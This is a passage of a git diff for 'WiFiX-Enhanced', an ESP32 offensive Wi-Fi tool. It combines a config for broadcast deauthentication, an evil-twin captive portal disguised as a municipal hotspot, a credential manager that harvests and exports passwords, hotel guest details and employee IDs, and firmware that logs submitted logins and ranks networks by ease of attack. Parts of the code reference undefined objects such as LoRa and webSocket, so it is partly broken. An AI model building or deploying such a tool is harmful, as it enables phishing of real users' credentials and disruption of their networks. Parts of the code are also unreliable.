#define DEAUTH_TARGETED_ONLY false // If true, only target specific MACs
|
||||
#define DEAUTH_WHITELIST_SIZE 10
|
||||
|
||||
// Target MAC addresses (if DEAUTH_TARGETED_ONLY is true)
|
||||
const char* TARGET_MACS[] = {
|
||||
"FF:FF:FF:FF:FF:FF", // Broadcast (all devices)
|
||||
"", // Add specific MACs here
|
||||
"",
|
||||
"",
|
||||
""
|
||||
};
|
||||
|
||||
// =============================================================================
|
||||
// WEB INTERFACE SETTINGS
|
||||
// =============================================================================
|
||||
|
||||
// Portal realism
|
||||
#define PORTAL_COMPANY_NAME "CityNet Municipal WiFi"
|
||||
#define PORTAL_LOGO_URL "/logo.png"
|
||||
#define PORTAL_BACKGROUND_URL "/background.jpg"
|
||||
#define SESSION_TIMEOUT_MINUTES 120
|
||||
#define ENABLE_SOCIAL_LOGIN true
|
||||
#define ENABLE_TERMS_ACCEPTANCE true
|
||||
|
||||
// Form validation
|
||||
#define MIN_PASSWORD_LENGTH 6
|
||||
#define REQUIRE_EMAIL_VALIDATION true
|
||||
#define ENABLE_RATE_LIMITING true
|
||||
#define MAX_LOGIN_ATTEMPTS 3
|
||||
|
||||
// =============================================================================
|
||||
// SECURITY SETTINGS
|
||||
// =============================================================================
|
||||
|
||||
// Encryption and hashing
|
||||
#define USE_HTTPS false // Not recommended for captive portals
|
||||
#define HASH_ALGORITHM "SHA256"
|
||||
#define SALT_LENGTH 16
|
||||
|
||||
// Access control
|
||||
#define ENABLE_PASSWORD_PROTECTION false
|
||||
#define ADMIN_PASSWORD "admin123" // Change this!
|
||||
#define ENABLE_REMOTE_ACCESS false
|
||||
#define ALLOWED_IPS {"192.168.4.2"} // Admin IP
|
||||
|
||||
// =============================================================================
|
||||
// DEBUGGING AND LOGGING
|
||||
// =============================================================================
|
||||
|
||||
#define DEBUG_LEVEL 2 // 0=None, 1=Error, 2=Info, 3=Debug
|
||||
#define ENABLE_SERIAL_LOG true
|
||||
#define ENABLE_SD_LOG true
|
||||
#define LOG_FILE_PREFIX "log_"
|
||||
#define MAX_LOG_FILES 5
|
||||
|
||||
// Debug output macros
|
||||
#if DEBUG_LEVEL >= 3
|
||||
#define DEBUG_PRINT(x) Serial.print(x)
|
||||
#define DEBUG_PRINTLN(x) Serial.println(x)
|
||||
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
|
||||
#elif DEBUG_LEVEL >= 2
|
||||
#define DEBUG_PRINT(x)
|
||||
#define DEBUG_PRINTLN(x) Serial.println(x)
|
||||
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
|
||||
#elif DEBUG_LEVEL >= 1
|
||||
#define DEBUG_PRINT(x)
|
||||
#define DEBUG_PRINTLN(x)
|
||||
#define DEBUG_PRINTF(x, ...)
|
||||
#else
|
||||
#define DEBUG_PRINT(x)
|
||||
#define DEBUG_PRINTLN(x)
|
||||
#define DEBUG_PRINTF(x, ...)
|
||||
#endif
|
||||
|
||||
// =============================================================================
|
||||
// PERFORMANCE SETTINGS
|
||||
// =============================================================================
|
||||
|
||||
// Memory management
|
||||
#define ENABLE_MEMORY_MONITORING true
|
||||
#define MEMORY_WARNING_THRESHOLD 80 // Percentage
|
||||
#define ENABLE_AUTO_RESTART true
|
||||
#define RESTART_INTERVAL_HOURS 24
|
||||
|
||||
// Timing
|
||||
#define LOOP_DELAY_MS 10
|
||||
#define WIFI_SCAN_INTERVAL_MS 5000
|
||||
#define CLIENT_CHECK_INTERVAL_MS 1000
|
||||
#define CREDENTIAL_SAVE_DELAY_MS 100
|
||||
|
||||
// =============================================================================
|
||||
// ADVANCED SETTINGS
|
||||
// =============================================================================
|
||||
|
||||
// Over-the-air updates (ESP32 only)
|
||||
#define ENABLE_OTA_UPDATES true
|
||||
#define OTA_PASSWORD "ota_update_2024" // Change this!
|
||||
#define OTA_PORT 8266
|
||||
|
||||
// MQTT integration (optional)
|
||||
#define ENABLE_MQTT false
|
||||
#define MQTT_SERVER "192.168.1.100"
|
||||
#define MQTT_PORT 1883
|
||||
#define MQTT_USER ""
|
||||
#define MQTT_PASSWORD ""
|
||||
#define MQTT_TOPIC_PREFIX "wifix"
|
||||
|
||||
// Custom HTML/CSS/JS injection
|
||||
#define ENABLE_CUSTOM_STYLING false
|
||||
#define CUSTOM_CSS_FILE "/custom.css"
|
||||
#define CUSTOM_JS_FILE "/custom.js"
|
||||
|
||||
// =============================================================================
|
||||
// VALIDATION AND SANITY CHECKS
|
||||
// =============================================================================
|
||||
|
||||
// Ensure critical settings are valid
|
||||
#if MAX_CREDENTIALS > 500
|
||||
#error "MAX_CREDENTIALS too high for available memory"
|
||||
#endif
|
||||
|
||||
#if !defined(ENCRYPTION_KEY) || strlen(ENCRYPTION_KEY) < 16
|
||||
#error "ENCRYPTION_KEY must be at least 16 characters"
|
||||
#endif
|
||||
|
||||
#if ENABLE_OTA_UPDATES && !defined(OTA_PASSWORD)
|
||||
#error "OTA_PASSWORD must be defined if OTA updates are enabled"
|
||||
#endif
|
||||
|
||||
// =============================================================================
|
||||
#endif // CONFIG_H
|
||||
1077
WiFiX-Enhanced/src/credential_manager.cpp
Normal file
1077
WiFiX-Enhanced/src/credential_manager.cpp
Normal file
File diff suppressed because it is too large
Load Diff
177
WiFiX-Enhanced/src/credential_manager.h
Normal file
177
WiFiX-Enhanced/src/credential_manager.h
Normal file
@@ -0,0 +1,177 @@
|
||||
#ifndef CREDENTIAL_MANAGER_H
|
||||
#define CREDENTIAL_MANAGER_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <ArduinoJson.h>
|
||||
#include <SPIFFS.h>
|
||||
#include <WiFi.h>
|
||||
#include <mbedtls/aes.h>
|
||||
#include <mbedtls/md.h>
|
||||
#include <mbedtls/entropy.h>
|
||||
#include <mbedtls/ctr_drbg.h>
|
||||
|
||||
// Configuration constants
|
||||
#define MAX_CREDENTIALS 500
|
||||
#define CREDENTIAL_FILE "/credentials.enc"
|
||||
#define STATS_FILE "/stats.json"
|
||||
#define AES_KEY_SIZE 32
|
||||
#define AES_IV_SIZE 16
|
||||
#define HASH_SIZE 32
|
||||
|
||||
// Credential types
|
||||
enum CredentialType {
|
||||
CRED_GENERIC = 0,
|
||||
CRED_HOTEL = 1,
|
||||
CRED_CORPORATE = 2,
|
||||
CRED_PUBLIC = 3,
|
||||
CRED_SOCIAL = 4
|
||||
};
|
||||
|
||||
// Credential structure
|
||||
struct Credential {
|
||||
uint32_t id;
|
||||
CredentialType type;
|
||||
char ssid[33];
|
||||
char timestamp[25];
|
||||
char ip_address[16];
|
||||
char user_agent[256];
|
||||
|
||||
// Generic fields
|
||||
char username[64];
|
||||
char password[128];
|
||||
char email[128];
|
||||
|
||||
// Hotel specific
|
||||
char room_number[10];
|
||||
char last_name[64];
|
||||
|
||||
// Corporate specific
|
||||
char department[32];
|
||||
char employee_id[16];
|
||||
|
||||
// Public WiFi specific
|
||||
char full_name[64];
|
||||
char phone[20];
|
||||
char purpose[32];
|
||||
|
||||
// Social login
|
||||
char provider[16];
|
||||
|
||||
bool is_valid;
|
||||
uint32_t checksum;
|
||||
};
|
||||
|
||||
// Statistics structure
|
||||
struct CredentialStats {
|
||||
uint32_t total_captured;
|
||||
uint32_t generic_count;
|
||||
uint32_t hotel_count;
|
||||
uint32_t corporate_count;
|
||||
uint32_t public_count;
|
||||
uint32_t social_count;
|
||||
uint32_t unique_ssids;
|
||||
char last_capture[25];
|
||||
char first_capture[25];
|
||||
uint32_t session_captures;
|
||||
float success_rate;
|
||||
};
|
||||
|
||||
class CredentialManager {
|
||||
private:
|
||||
uint8_t encryption_key[AES_KEY_SIZE];
|
||||
uint8_t iv[AES_IV_SIZE];
|
||||
mbedtls_aes_context aes_ctx;
|
||||
mbedtls_entropy_context entropy;
|
||||
mbedtls_ctr_drbg_context ctr_drbg;
|
||||
|
||||
Credential* credentials;
|
||||
uint32_t credential_count;
|
||||
uint32_t next_id;
|
||||
CredentialStats stats;
|
||||
|
||||
bool initialized;
|
||||
bool encryption_enabled;
|
||||
|
||||
// Private methods
|
||||
bool initializeEncryption();
|
||||
bool generateEncryptionKey();
|
||||
bool encryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
|
||||
bool decryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
|
||||
uint32_t calculateChecksum(const Credential* cred);
|
||||
bool validateCredential(const Credential* cred);
|
||||
void updateStats(const Credential* cred);
|
||||
bool saveCredentialsToFile();
|
||||
bool loadCredentialsFromFile();
|
||||
bool saveStatsToFile();
|
||||
bool loadStatsFromFile();
|
||||
void sanitizeInput(char* input, size_t max_len);
|
||||
bool isDuplicateCredential(const Credential* cred);
|
||||
|
||||
public:
|
||||
CredentialManager();
|
||||
~CredentialManager();
|
||||
|
||||
// Initialization
|
||||
bool begin(bool enable_encryption = true);
|
||||
bool isInitialized() const { return initialized; }
|
||||
|
||||
// Credential management
|
||||
bool addCredential(const JsonDocument& json_data);
|
||||
bool addGenericCredential(const char* ssid, const char* username, const char* password, const char* email = nullptr);
|
||||
bool addHotelCredential(const char* ssid, const char* room_number, const char* last_name, const char* email = nullptr);
|
||||
bool addCorporateCredential(const char* ssid, const char* username, const char* password, const char* department, const char* employee_id);
|
||||
bool addPublicCredential(const char* ssid, const char* email, const char* name, const char* phone = nullptr, const char* purpose = nullptr);
|
||||
bool addSocialCredential(const char* ssid, const char* provider);
|
||||
|
||||
// Data retrieval
|
||||
uint32_t getCredentialCount() const { return credential_count; }
|
||||
const Credential* getCredential(uint32_t index) const;
|
||||
const Credential* getCredentialById(uint32_t id) const;
|
||||
const CredentialStats* getStats() const { return &stats; }
|
||||
|
||||
// Export functions
|
||||
String exportCredentialsJSON(bool include_passwords = false);
|
||||
String exportCredentialsCSV(bool include_passwords = false);
|
||||
String exportStatsJSON();
|
||||
bool exportToSD(const char* filename, bool include_passwords = false);
|
||||
bool autoBackupToSD();
|
||||
|
||||
// Search and filter
|
||||
uint32_t findCredentialsBySSID(const char* ssid, uint32_t* results, uint32_t max_results);
|
||||
uint32_t findCredentialsByType(CredentialType type, uint32_t* results, uint32_t max_results);
|
||||
uint32_t findCredentialsByTimeRange(const char* start_time, const char* end_time, uint32_t* results, uint32_t max_results);
|
||||
|
||||
// Management functions
|
||||
bool clearAllCredentials();
|
||||
bool deleteCredential(uint32_t id);
|
||||
bool compactStorage();
|
||||
size_t getStorageUsed();
|
||||
size_t getStorageAvailable();
|
||||
|
||||
// Security functions
|
||||
bool changeEncryptionKey(const char* new_key);
|
||||
bool verifyIntegrity();
|
||||
bool createBackup(const char* filename);
|
||||
bool restoreBackup(const char* filename);
|
||||
|
||||
// Real-time functions
|
||||
void resetSessionStats();
|
||||
float getCurrentSuccessRate();
|
||||
uint32_t getSessionCaptures() const { return stats.session_captures; }
|
||||
|
||||
// Utility functions
|
||||
static const char* credentialTypeToString(CredentialType type);
|
||||
static CredentialType stringToCredentialType(const char* type_str);
|
||||
static String formatTimestamp();
|
||||
static bool isValidEmail(const char* email);
|
||||
static bool isValidPhone(const char* phone);
|
||||
};
|
||||
|
||||
// Global instance
|
||||
extern CredentialManager credentialManager;
|
||||
|
||||
// Helper macros
|
||||
#define CRED_LOG(msg) Serial.printf("[CRED] %s\n", msg)
|
||||
#define CRED_LOG_F(fmt, ...) Serial.printf("[CRED] " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
#endif // CREDENTIAL_MANAGER_H
|
||||
918
WiFiX-Enhanced/src/esp32_enhanced.ino
Normal file
918
WiFiX-Enhanced/src/esp32_enhanced.ino
Normal file
@@ -0,0 +1,918 @@
|
||||
#include <WiFi.h>
|
||||
#include <WebServer.h>
|
||||
#include <ArduinoJson.h>
|
||||
#include <SPIFFS.h>
|
||||
#include <Wire.h>
|
||||
#include <Adafruit_GFX.h>
|
||||
#include <Adafruit_SSD1306.h>
|
||||
#include <BluetoothSerial.h>
|
||||
#include <vector>
|
||||
#include "credential_manager.h"
|
||||
// Project configuration
|
||||
#include "config.h"
|
||||
|
||||
// Display configuration - Single I2C Screen
|
||||
#define SCREEN_WIDTH 128
|
||||
#define SCREEN_HEIGHT 64
|
||||
#define OLED_RESET -1
|
||||
#define I2C_SDA 21
|
||||
#define I2C_SCL 22
|
||||
#define SCREEN_ADDRESS 0x3C
|
||||
|
||||
// Pin definitions - Simplified for 2-device setup
|
||||
#define BW16_UART_TX 17
|
||||
#define BW16_UART_RX 16
|
||||
|
||||
// Network configuration
|
||||
// Use values from config.h
|
||||
const char* ap_ssid = DEFAULT_SSID;
|
||||
const char* ap_password = DEFAULT_PASSWORD;
|
||||
|
||||
// Global objects - Simplified for single I2C screen
|
||||
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
|
||||
WebServer server(80);
|
||||
BluetoothSerial SerialBT;
|
||||
HardwareSerial BW16Serial(2);
|
||||
|
||||
// System state - Simplified for 2-device operation
|
||||
struct SystemState {
|
||||
bool scanning = false;
|
||||
bool bw16_connected = false;
|
||||
int active_attacks = 0;
|
||||
int packets_per_second = 0;
|
||||
int total_aps = 0;
|
||||
unsigned long uptime = 0;
|
||||
int oled_brightness = 128;
|
||||
bool bluetooth_enabled = false;
|
||||
|
||||
// Authentication state
|
||||
bool authenticated = false;
|
||||
String auth_email = "";
|
||||
String auth_name = "";
|
||||
} systemState;
|
||||
|
||||
// Access Point structure
|
||||
struct AccessPoint {
|
||||
String ssid;
|
||||
String bssid;
|
||||
int channel;
|
||||
int rssi;
|
||||
String security;
|
||||
String band;
|
||||
int ai_score = 0;
|
||||
bool is_target = false;
|
||||
};
|
||||
|
||||
std::vector<AccessPoint> accessPoints;
|
||||
std::vector<String> selectedTargets;
|
||||
// Forward declaration for helper
|
||||
void upsertAccessPoint(const AccessPoint& ap);
|
||||
|
||||
// Attack structure
|
||||
struct Attack {
|
||||
String id;
|
||||
String type;
|
||||
String target;
|
||||
unsigned long start_time;
|
||||
int packets_sent;
|
||||
bool active;
|
||||
};
|
||||
|
||||
std::vector<Attack> activeAttacks;
|
||||
|
||||
// Display pages
|
||||
enum DisplayPage {
|
||||
PAGE_MAIN,
|
||||
PAGE_SCAN,
|
||||
PAGE_ATTACKS,
|
||||
PAGE_PROTOCOLS,
|
||||
PAGE_STATS
|
||||
};
|
||||
|
||||
DisplayPage currentPage = PAGE_MAIN;
|
||||
unsigned long lastPageUpdate = 0;
|
||||
unsigned long lastStatsUpdate = 0;
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
|
||||
// Initialize I2C with proper pin assignments
|
||||
Wire.begin(I2C_SDA, I2C_SCL);
|
||||
|
||||
// Initialize display
|
||||
if (!display.begin(SSD1306_SWITCHCAPVCC, SCREEN_ADDRESS)) {
|
||||
Serial.println(F("SSD1306 allocation failed"));
|
||||
for(;;);
|
||||
}
|
||||
|
||||
display.clearDisplay();
|
||||
display.setTextSize(1);
|
||||
display.setTextColor(SSD1306_WHITE);
|
||||
display.setCursor(0, 0);
|
||||
display.println("WiFiX Enhanced");
|
||||
display.println("Initializing...");
|
||||
display.display();
|
||||
|
||||
// Initialize SPIFFS
|
||||
if (!SPIFFS.begin(true)) {
|
||||
Serial.println("SPIFFS Mount Failed");
|
||||
return;
|
||||
}
|
||||
|
||||
// Initialize credential manager (with encryption enabled by default)
|
||||
if (!credentialManager.begin(true)) {
|
||||
Serial.println("CredentialManager initialization failed");
|
||||
}
|
||||
|
||||
// Initialize WiFi AP
|
||||
WiFi.mode(WIFI_AP_STA);
|
||||
WiFi.softAP(ap_ssid, ap_password);
|
||||
|
||||
Serial.println("WiFi AP Started");
|
||||
Serial.print("IP address: ");
|
||||
Serial.println(WiFi.softAPIP());
|
||||
|
||||
// Initialize BW16 communication
|
||||
BW16Serial.begin(115200, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX);
|
||||
|
||||
// Initialize Bluetooth only
|
||||
initializeBluetooth();
|
||||
|
||||
// Setup web server
|
||||
setupWebServer();
|
||||
|
||||
// Update display
|
||||
updateDisplay();
|
||||
|
||||
Serial.println("WiFiX Enhanced Ready!");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
server.handleClient();
|
||||
|
||||
// Handle BW16 communication
|
||||
handleBW16Communication();
|
||||
|
||||
// Update system stats
|
||||
if (millis() - lastStatsUpdate > 1000) {
|
||||
updateSystemStats();
|
||||
lastStatsUpdate = millis();
|
||||
}
|
||||
|
||||
// Update display
|
||||
if (millis() - lastPageUpdate > 2000) {
|
||||
updateDisplay();
|
||||
lastPageUpdate = millis();
|
||||
}
|
||||
|
||||
delay(10);
|
||||
}
|
||||
|
||||
void initializeBluetooth() {
|
||||
if (SerialBT.begin("WiFiX-BT")) {
|
||||
systemState.bluetooth_enabled = true;
|
||||
Serial.println("Bluetooth initialized");
|
||||
}
|
||||
}
|
||||
|
||||
void initializeLoRa() {
|
||||
LoRa.setPins(LORA_SS, LORA_RST, LORA_DIO0);
|
||||
if (LoRa.begin(915E6)) {
|
||||
systemState.lora_enabled = true;
|
||||
Serial.println("LoRa initialized");
|
||||
}
|
||||
}
|
||||
|
||||
void initializeZigbee() {
|
||||
// Zigbee initialization would go here
|
||||
// For now, we'll simulate it
|
||||
systemState.zigbee_enabled = true;
|
||||
Serial.println("Zigbee initialized");
|
||||
}
|
||||
|
||||
void initializeAI() {
|
||||
// Initialize TensorFlow Lite
|
||||
// This is a simplified version - in practice you'd load a trained model
|
||||
Serial.println("AI Model initialized");
|
||||
}
|
||||
|
||||
void setupWebServer() {
|
||||
// Serve index and welcome pages explicitly
|
||||
server.on("/", HTTP_GET, [](){
|
||||
if (SPIFFS.exists("/index.html")) {
|
||||
File f = SPIFFS.open("/index.html", "r");
|
||||
server.streamFile(f, "text/html");
|
||||
f.close();
|
||||
} else {
|
||||
server.send(404, "text/plain", "index.html not found");
|
||||
}
|
||||
});
|
||||
server.on("/welcome", HTTP_GET, [](){
|
||||
if (SPIFFS.exists("/welcome.html")) {
|
||||
File f = SPIFFS.open("/welcome.html", "r");
|
||||
server.streamFile(f, "text/html");
|
||||
f.close();
|
||||
} else {
|
||||
server.send(404, "text/plain", "welcome.html not found");
|
||||
}
|
||||
});
|
||||
|
||||
// API endpoints
|
||||
server.on("/api/status", HTTP_GET, handleAPIStatus);
|
||||
server.on("/api/config", HTTP_GET, [](){
|
||||
DynamicJsonDocument doc(512);
|
||||
// Basic branding and network info from config.h
|
||||
doc["branding_name"] = PORTAL_COMPANY_NAME;
|
||||
doc["organization"] = DEVICE_NAME;
|
||||
doc["ssid"] = ap_ssid;
|
||||
doc["ap_ip"] = WiFi.softAPIP().toString();
|
||||
String res; serializeJson(doc, res);
|
||||
server.send(200, "application/json", res);
|
||||
});
|
||||
server.on("/api/command", HTTP_POST, handleAPICommand);
|
||||
server.on("/api/scan", HTTP_POST, handleAPIScan);
|
||||
server.on("/api/attack", HTTP_POST, handleAPIAttack);
|
||||
server.on("/api/protocols", HTTP_GET, handleAPIProtocols);
|
||||
|
||||
// Authentication endpoints
|
||||
server.on("/api/auth/google", HTTP_POST, handleGoogleAuth);
|
||||
server.on("/api/auth/status", HTTP_GET, handleAuthStatus);
|
||||
server.on("/api/auth/logout", HTTP_POST, handleLogout);
|
||||
// Standard captive portal login (form POST)
|
||||
server.on("/login", HTTP_POST, [](){
|
||||
String username = server.arg("username");
|
||||
String password = server.arg("password");
|
||||
if (username.length() == 0 || password.length() == 0) {
|
||||
server.sendHeader("Location", "/");
|
||||
server.send(302, "text/plain", "");
|
||||
return;
|
||||
}
|
||||
// Store credentials
|
||||
credentialManager.addGenericCredential(ap_ssid, username.c_str(), password.c_str(), username.c_str());
|
||||
// Mark session authenticated and redirect to welcome page
|
||||
systemState.authenticated = true;
|
||||
systemState.auth_email = username;
|
||||
systemState.auth_name = username;
|
||||
server.sendHeader("Location", "/welcome");
|
||||
server.send(302, "text/plain", "");
|
||||
});
|
||||
|
||||
server.begin();
|
||||
Serial.println("Web server started");
|
||||
}
|
||||
|
||||
void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
|
||||
switch(type) {
|
||||
case WStype_DISCONNECTED:
|
||||
Serial.printf("[%u] Disconnected!\n", num);
|
||||
break;
|
||||
|
||||
case WStype_CONNECTED: {
|
||||
IPAddress ip = webSocket.remoteIP(num);
|
||||
Serial.printf("[%u] Connected from %d.%d.%d.%d\n", num, ip[0], ip[1], ip[2], ip[3]);
|
||||
|
||||
// Send initial status
|
||||
sendSystemStatus(num);
|
||||
break;
|
||||
}
|
||||
|
||||
case WStype_TEXT: {
|
||||
Serial.printf("[%u] Received: %s\n", num, payload);
|
||||
|
||||
DynamicJsonDocument doc(1024);
|
||||
deserializeJson(doc, payload);
|
||||
|
||||
handleWebSocketCommand(num, doc);
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void handleWebSocketCommand(uint8_t num, DynamicJsonDocument& doc) {
|
||||
String command = doc["command"];
|
||||
|
||||
if (command == "start_scan") {
|
||||
startWiFiScan(doc["bands"]);
|
||||
} else if (command == "stop_scan") {
|
||||
stopWiFiScan();
|
||||
} else if (command == "start_attack") {
|
||||
startAttack(doc["type"], doc["targets"]);
|
||||
} else if (command == "stop_attack") {
|
||||
stopAttack(doc["id"]);
|
||||
} else if (command == "ai_analyze") {
|
||||
runAIAnalysis();
|
||||
} else if (command == "oled_brightness") {
|
||||
setOLEDBrightness(doc["value"]);
|
||||
} else if (command == "ai_mode") {
|
||||
setAIMode(doc["mode"]);
|
||||
} else if (command == "get_stats") {
|
||||
sendSystemStatus(num);
|
||||
}
|
||||
}
|
||||
|
||||
void startWiFiScan(JsonObject bands) {
|
||||
systemState.scanning = true;
|
||||
accessPoints.clear();
|
||||
accessPoints.reserve(100);
|
||||
|
||||
// Send command to BW16 for 5GHz scan
|
||||
if (bands["5ghz"]) {
|
||||
BW16Serial.println("SCAN_5GHZ");
|
||||
}
|
||||
|
||||
// Start 2.4GHz scan on ESP32
|
||||
if (bands["2.4ghz"]) {
|
||||
WiFi.scanNetworks(true);
|
||||
}
|
||||
|
||||
broadcastMessage("scan_started", "");
|
||||
}
|
||||
|
||||
void stopWiFiScan() {
|
||||
systemState.scanning = false;
|
||||
WiFi.scanDelete();
|
||||
BW16Serial.println("STOP_SCAN");
|
||||
|
||||
broadcastMessage("scan_stopped", "");
|
||||
}
|
||||
|
||||
void startAttack(String type, JsonArray targets) {
|
||||
Attack attack;
|
||||
attack.id = String(millis());
|
||||
attack.type = type;
|
||||
attack.start_time = millis();
|
||||
attack.packets_sent = 0;
|
||||
attack.active = true;
|
||||
|
||||
// Process targets
|
||||
for (JsonVariant target : targets) {
|
||||
String bssid = target.as<String>();
|
||||
attack.target = bssid;
|
||||
|
||||
// Send attack command to BW16 if 5GHz target
|
||||
AccessPoint* ap = findAccessPoint(bssid);
|
||||
if (ap && ap->band == "5GHz") {
|
||||
BW16Serial.println("ATTACK_" + type + "_" + bssid);
|
||||
} else {
|
||||
// Handle 2.4GHz attack on ESP32
|
||||
handle24GHzAttack(type, bssid);
|
||||
}
|
||||
}
|
||||
|
||||
activeAttacks.push_back(attack);
|
||||
systemState.active_attacks++;
|
||||
|
||||
broadcastAttackStatus();
|
||||
}
|
||||
|
||||
void stopAttack(String attackId) {
|
||||
for (auto it = activeAttacks.begin(); it != activeAttacks.end(); ++it) {
|
||||
if (it->id == attackId) {
|
||||
it->active = false;
|
||||
systemState.active_attacks--;
|
||||
|
||||
// Send stop command
|
||||
BW16Serial.println("STOP_ATTACK_" + attackId);
|
||||
|
||||
activeAttacks.erase(it);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
broadcastAttackStatus();
|
||||
}
|
||||
|
||||
void runAIAnalysis() {
|
||||
if (!systemState.ai_enabled || accessPoints.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Simple AI scoring based on signal strength, security, and channel congestion
|
||||
for (auto& ap : accessPoints) {
|
||||
int score = 0;
|
||||
|
||||
// Signal strength factor (stronger = easier to attack)
|
||||
if (ap.rssi > -50) score += 30;
|
||||
else if (ap.rssi > -70) score += 20;
|
||||
else score += 10;
|
||||
|
||||
// Security factor (weaker = higher score)
|
||||
if (ap.security.indexOf("WEP") >= 0) score += 40;
|
||||
else if (ap.security.indexOf("WPA") >= 0) score += 25;
|
||||
else if (ap.security.indexOf("WPA2") >= 0) score += 15;
|
||||
else if (ap.security.indexOf("WPA3") >= 0) score += 5;
|
||||
|
||||
// Channel congestion (less congested = higher score)
|
||||
int channelCount = 0;
|
||||
for (const auto& other : accessPoints) {
|
||||
if (other.channel == ap.channel) channelCount++;
|
||||
}
|
||||
if (channelCount < 3) score += 20;
|
||||
else if (channelCount < 6) score += 10;
|
||||
|
||||
// Apply AI mode modifier
|
||||
if (systemState.ai_mode == "aggressive") {
|
||||
score = (score * 1.2);
|
||||
} else if (systemState.ai_mode == "stealth") {
|
||||
score = (score * 0.8);
|
||||
}
|
||||
|
||||
ap.ai_score = min(score, 100);
|
||||
}
|
||||
|
||||
// Calculate overall confidence
|
||||
int totalScore = 0;
|
||||
for (const auto& ap : accessPoints) {
|
||||
totalScore += ap.ai_score;
|
||||
}
|
||||
systemState.ai_confidence = accessPoints.empty() ? 0 : totalScore / accessPoints.size();
|
||||
|
||||
// Broadcast AI analysis results
|
||||
DynamicJsonDocument doc(2048);
|
||||
doc["type"] = "ai_analysis";
|
||||
doc["confidence"] = systemState.ai_confidence;
|
||||
|
||||
JsonArray recommended = doc.createNestedArray("recommended_targets");
|
||||
for (const auto& ap : accessPoints) {
|
||||
if (ap.ai_score > 70) {
|
||||
recommended.add(ap.bssid);
|
||||
}
|
||||
}
|
||||
|
||||
String message;
|
||||
serializeJson(doc, message);
|
||||
webSocket.broadcastTXT(message);
|
||||
}
|
||||
|
||||
void handleBW16Communication() {
|
||||
if (BW16Serial.available()) {
|
||||
String message = BW16Serial.readStringUntil('\n');
|
||||
message.trim();
|
||||
|
||||
if (message.startsWith("AP:")) {
|
||||
// Parse access point data from BW16
|
||||
parseAccessPointData(message);
|
||||
} else if (message.startsWith("ATTACK_STATUS:")) {
|
||||
// Parse attack status from BW16
|
||||
parseAttackStatus(message);
|
||||
} else if (message.startsWith("STATS:")) {
|
||||
// Parse statistics from BW16
|
||||
parseStatsData(message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void parseAccessPointData(String data) {
|
||||
// Format: AP:SSID,BSSID,CHANNEL,RSSI,SECURITY
|
||||
data = data.substring(3); // Remove "AP:" prefix
|
||||
|
||||
int commaIndex = 0;
|
||||
String parts[5];
|
||||
for (int i = 0; i < 5; i++) {
|
||||
int nextComma = data.indexOf(',', commaIndex);
|
||||
if (nextComma == -1) {
|
||||
parts[i] = data.substring(commaIndex);
|
||||
break;
|
||||
} else {
|
||||
parts[i] = data.substring(commaIndex, nextComma);
|
||||
commaIndex = nextComma + 1;
|
||||
}
|
||||
}
|
||||
|
||||
AccessPoint ap;
|
||||
ap.ssid = parts[0];
|
||||
ap.bssid = parts[1];
|
||||
ap.channel = parts[2].toInt();
|
||||
ap.rssi = parts[3].toInt();
|
||||
ap.security = parts[4];
|
||||
ap.band = "5GHz";
|
||||
|
||||
upsertAccessPoint(ap);
|
||||
systemState.total_aps = accessPoints.size();
|
||||
|
||||
broadcastScanResults();
|
||||
}
|
||||
|
||||
void updateSystemStats() {
|
||||
systemState.uptime = millis() / 1000;
|
||||
|
||||
// Update packet rate (simulated for now)
|
||||
systemState.packets_per_second = random(0, 1000);
|
||||
|
||||
// Check WiFi scan results
|
||||
int n = WiFi.scanComplete();
|
||||
if (n >= 0) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
AccessPoint ap;
|
||||
ap.ssid = WiFi.SSID(i);
|
||||
ap.bssid = WiFi.BSSIDstr(i);
|
||||
ap.channel = WiFi.channel(i);
|
||||
ap.rssi = WiFi.RSSI(i);
|
||||
ap.security = getSecurityString(WiFi.encryptionType(i));
|
||||
ap.band = "2.4GHz";
|
||||
|
||||
upsertAccessPoint(ap);
|
||||
}
|
||||
|
||||
systemState.total_aps = accessPoints.size();
|
||||
WiFi.scanDelete();
|
||||
|
||||
if (systemState.scanning) {
|
||||
WiFi.scanNetworks(true); // Start next scan
|
||||
}
|
||||
|
||||
broadcastScanResults();
|
||||
}
|
||||
|
||||
// Broadcast system stats
|
||||
broadcastSystemStats();
|
||||
}
|
||||
|
||||
void updateDisplay() {
|
||||
display.clearDisplay();
|
||||
display.setTextSize(1);
|
||||
display.setTextColor(SSD1306_WHITE);
|
||||
display.setCursor(0, 0);
|
||||
|
||||
switch (currentPage) {
|
||||
case PAGE_MAIN:
|
||||
displayMainPage();
|
||||
break;
|
||||
case PAGE_SCAN:
|
||||
displayScanPage();
|
||||
break;
|
||||
case PAGE_ATTACKS:
|
||||
displayAttacksPage();
|
||||
break;
|
||||
case PAGE_PROTOCOLS:
|
||||
displayProtocolsPage();
|
||||
break;
|
||||
case PAGE_STATS:
|
||||
displayStatsPage();
|
||||
break;
|
||||
}
|
||||
|
||||
display.display();
|
||||
|
||||
// Auto-rotate pages
|
||||
static unsigned long lastPageChange = 0;
|
||||
if (millis() - lastPageChange > 5000) {
|
||||
currentPage = (DisplayPage)((currentPage + 1) % 5);
|
||||
lastPageChange = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void displayMainPage() {
|
||||
display.println("WiFiX Enhanced");
|
||||
display.println("==============");
|
||||
display.printf("APs: %d\n", systemState.total_aps);
|
||||
display.printf("Attacks: %d\n", systemState.active_attacks);
|
||||
display.printf("AI: %d%%\n", systemState.ai_confidence);
|
||||
display.printf("Uptime: %02d:%02d\n",
|
